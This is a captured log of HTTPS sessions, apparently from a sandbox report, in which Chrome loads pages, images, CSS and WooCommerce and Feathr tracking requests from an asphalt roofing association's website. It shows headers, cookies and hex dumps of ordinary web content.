2024-04-23 14:54:47 UTC	8192	IN	Data Raw: 68 61 6c 74 5f 72 6f 6f 66 69 6e 67 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 22 3e 3c 49 4d 47 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 32 2f 31 30 2f 69 67 2e 70 6e 67 22 3c 2f 61 3e 0d 0a 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 74 74 6f 6d 2d 63 6f 6c 2d 63 6f 6e 74 65 6e 74 20 77 69 64 67 65 74 5f 73 65 61 72 63 68 20 73 75 62 73 74 69 74 75 74 65 5f 77 69 64 67 65 74 5f 63 6c 61 73 73 22 3e 09 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 Data Ascii: halt_roofing/" target="_blank" rel="noopener"><IMG src="https://www.asphaltroofing.org/wp-content/uploads/2022/10/ig.png"</a></div></div><div class="bottom-col-content widget_search substitute_widget_class"><form role="search" method="get" id="searc
2024-04-23 14:54:47 UTC	5687	IN	Data Raw: 75 32 30 33 39 22 2c 22 6e 65 78 74 22 3a 22 5c 75 32 30 33 61 22 2c 22 6c 61 73 74 22 3a 22 5c 75 30 30 62 62 22 2c 22 67 6f 74 6f 5f 66 69 72 73 74 22 3a 22 47 6f 20 74 6f 20 66 69 72 73 74 20 70 61 67 65 22 2c 22 67 6f 74 6f 5f 70 72 65 76 22 3a 22 47 6f 20 74 6f 20 70 72 65 76 69 6f 75 73 20 70 61 67 65 22 2c 22 67 6f 74 6f 5f 6e 65 78 74 22 3a 22 47 6f 20 74 6f 20 6e 65 78 74 20 70 61 67 65 22 2c 22 67 6f 74 6f 5f 6c 61 73 74 22 3a 22 47 6f 20 74 6f 20 6c 61 73 74 20 70 61 67 65 22 2c 22 63 75 72 72 65 6e 74 5f 70 61 67 65 22 3a 22 43 75 72 72 65 6e 74 20 70 61 67 65 20 69 73 22 2c 22 67 6f 74 6f 5f 70 61 67 65 22 3a 22 47 6f 20 74 6f 20 70 61 67 65 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 Data Ascii: u2039","next":"\u203a","last":"\u00bb","goto_first":"Go to first page","goto_prev":"Go to previous page","goto_next":"Go to next page","goto_last":"Go to last page","current_page":"Current page is","goto_page":"Go to page"};/* ... */</script><script ty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.6	50219	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:47 UTC	972	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/about-arma/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:47 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:47 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.6	50221	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:47 UTC	973	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/about-arma/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:47 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:47 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.6	50223	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:48 UTC	986	OUT	GET /wp-content/uploads/2017/04/AdobeStock_104312193-300x200.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/about-arma/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0
2024-04-23 14:54:48 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:48 GMT Content-Type: image/jpeg Content-Length: 8822 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:33:40 GMT ETag: "1be1c01-2276-5d9f3e4a74100" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:48 UTC	7674	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 09 09 09 0a 09 0a 0c 0c 0a 0f 10 0e 10 0f 15 14 12 12 14 15 20 17 19 17 19 17 20 31 1f 24 1f 1f 24 1f 31 2c 35 2b 28 2b 35 2c 4e 3d 37 37 3d 4e 5a 4c 48 4c 5a 6e 62 62 6e 8a 83 8a b4 b4 f2 01 09 09 09 09 0a 09 0a 0c 0c 0a 0f 10 0e 10 0f 15 14 12 12 14 15 20 17 19 17 19 17 20 31 1f 24 1f 1f 24 1f 31 2c 35 2b 28 2b 35 2c 4e 3d 37 37 3d 4e 5a 4c 48 4c 5a 6e 62 62 6e 8a 83 8a b4 b4 f2 ff c2 00 11 08 00 c8 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 33 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 04 00 02 03 05 06 01 07 08 01 00 02 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 dc 9a 34 dd 7e 31 69 17 9d f5 ae b2 12 c6 bf Data Ascii: JFIF 1$$1,5+(+5,N=77=NZLHLZnbbn 1$$1,5+(+5,N=77=NZLHLZnbbn,"34~1i
2024-04-23 14:54:48 UTC	1148	IN	Data Raw: cf b6 e1 6a 98 f0 0b b2 6e 1c 6a 0d 52 cc 89 64 80 23 86 51 1a c8 bf 51 0a fc f6 3d 63 25 b2 18 ab 50 a0 65 20 79 8e a5 74 46 e1 d4 1b 2a 22 28 50 a0 1f ea 32 ea fe 68 17 d7 e5 12 c0 f5 80 4a 62 68 08 7a 46 5c 7c 9c 4c 19 2d aa 31 f9 ff 00 88 97 f3 34 c7 99 f2 36 6c 6f e7 1b 57 e0 ec 18 54 f2 23 ef 17 1b 90 35 18 1f 03 cc fd 37 eb fd c5 73 cf 7f f9 3a 90 a5 41 1c 61 1b 8a 28 a9 8b 93 28 5a 83 e2 93 b9 f0 de e1 c2 7e f2 e6 1b 24 ce ad 80 c0 40 98 18 88 ce 01 24 cb 99 2b 1f 5e 8d 7a ca b4 7d d6 13 46 80 87 90 f5 58 85 99 aa 50 1a 81 54 9d ae a7 56 29 41 02 84 24 19 e6 62 0d f0 f7 e6 63 21 84 ad 89 c4 7a 98 16 ee 21 2b 1f 26 5c 9f 53 ea 22 82 2e 14 bd dc e0 a0 59 69 d5 90 ce a5 4f d0 c0 8f 71 33 65 0c 14 ab d1 30 e4 ca 8c a9 77 7e 67 4d 8c a0 df 9e c9 c4 0b Data Ascii: jnjRd#QQ=c%Pe ytF*"(P2hJbhzF\\|L-146loWT#57s:Aa((Z~$@$+^z}FXPTV)A$bc!z!+&\S".YiOq3e0w~gM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.6	50224	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:48 UTC	966	OUT	GET /wp-content/uploads/2017/04/logo-icon.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/about-arma/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0
2024-04-23 14:54:49 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:48 GMT Content-Type: image/png Content-Length: 606 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:28:50 GMT ETag: "1be1dcc-25e-5d9f3d35e3480" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:49 UTC	606	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 57 04 03 00 00 00 7b 06 3f a8 00 00 00 15 50 4c 54 45 86 51 4b a7 a9 ad 75 22 18 76 24 1a a7 a9 ad a7 a9 ad 74 20 16 f9 6c ab c5 00 00 00 05 74 52 4e 53 00 50 6e c2 e0 12 e9 b8 8d 00 00 01 f3 49 44 41 54 78 da ad d7 b1 6e 83 30 10 06 60 63 08 73 86 63 47 4e cb 9c 86 8a 99 a1 ec a4 c2 7b 15 d4 7b ff 47 a8 8c 8d b1 09 81 3b a9 b7 45 fa ac fc ba 5e e3 b3 10 41 25 ad e0 54 a2 cf 1c 9e e9 81 c7 f5 9d c7 35 23 fe 49 6b cd 88 5f 18 3e f0 38 3d be e5 e4 f8 8e 53 e3 77 8e 0f 3c 4e 8c af 7d b5 3c 4e 89 9f 04 7c e0 71 42 fc 88 1f c7 cf 1c fc a2 c5 9f 79 0b a4 f8 99 ef 0a 50 e2 9f 96 a6 00 21 7e 11 f4 04 8e e3 3b de 0b ef 07 fa fc c2 51 fc 2e 6e 20 1c c4 77 dc 7f 86 fd f8 dd ba dd b0 1b ff 79 58 e0 Data Ascii: PNGIHDR\W{?PLTEQKu"v$t ltRNSPnIDATxn0`cscGN{{G;E^A%T5#Ik_>8=Sw<N}<N\|qByP!~;Q.n wyX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.6	50225	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:49 UTC	1053	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/about-arma/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
2024-04-23 14:54:49 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 38 38 31 39 38 Data Ascii: time=1713884088198
2024-04-23 14:54:51 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:51 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:54:51 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.6	50226	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:50 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:50 UTC	898	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:50 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OgHOkRecr%2FIoXSOJ5%2BJuREMpM1X%2BTLiUKQ5WMzuquCy0kJYBrTsb3MMf%2FIZz5CJN%2FUPy4ZVTTDeKUH1I6VHCQUD0cvJkHA5GNBidMciHvbgXQFKlOaow2ENlRGXP%2FBuV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0ec1ea30d1a-ATL
2024-04-23 14:54:50 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.6	50227	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:50 UTC	630	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:50 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:50 GMT x-amzn-RequestId: 2ef6e19c-f4bd-4137-9c1d-8f9834dd70d6 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:50 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzFJFb-oAMEneg= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cbba-18b456f25437362e01603f69;Parent=4a19a9cc549d8d3d;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 fdb22b1b92ec7ff757a3e7a9ca70a2a4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: muop_Pu_jI-uhfa7ufjnQZ28GuVVFErN282BAZ8YXAS-x2N4In3aEg==
2024-04-23 14:54:50 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.6	50228	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:50 UTC	732	OUT	GET /wp-content/uploads/2017/04/AdobeStock_104312193-300x200.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
2024-04-23 14:54:50 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:50 GMT Content-Type: image/jpeg Content-Length: 8822 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:33:40 GMT ETag: "1be1c01-2276-5d9f3e4a74100" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
